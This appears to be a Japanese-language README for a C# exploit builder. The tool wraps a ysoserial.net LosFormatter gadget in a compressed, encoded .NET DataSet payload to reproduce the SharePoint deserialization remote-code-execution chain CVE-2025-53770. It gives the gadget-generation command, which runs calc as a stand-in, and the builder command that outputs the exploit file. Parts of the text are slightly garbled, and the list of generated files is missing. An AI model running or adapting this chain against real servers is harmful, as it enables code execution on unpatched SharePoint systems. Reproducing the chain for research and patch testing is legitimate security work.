
LosFormatterを使用してGZIP圧縮・Base64エンコードされた.NET DataSetペイロードを構築し、SharePointの逆シリアル化RCEチェーン(CVE-2025-53770)を再現するC#ツール。
これは、LosFormatterでエンコードされた内部ペイロードを使用して、GZIP圧縮およびBase64エンコードされた.NET DataSetペイロードを構築するシンプルなC#ツールです。公開された調査で説明されているSharePointの逆シリアル化RCEチェーンを再現するために設計されています。
Base64エンコードされたペイロード(ysoserial.netなどから生成したもの)を指定すると、以下の処理を行います:
.b64 ファイルに書き込みますまず、ysoserial.net を使用してペイロードを生成します:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
次に、このツールを実行します:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
これにより、次のファイルが生成されます:
また、--a、--b、--c を指定しない場合、ツールはランダムな小文字の名前を生成します。
注意
このツールは、指定したペイロードの検証や検査を行いません。
ローカルでテストし、手動で逆シリアル化する場合、実行される可能性があります(例:calcが起動する)。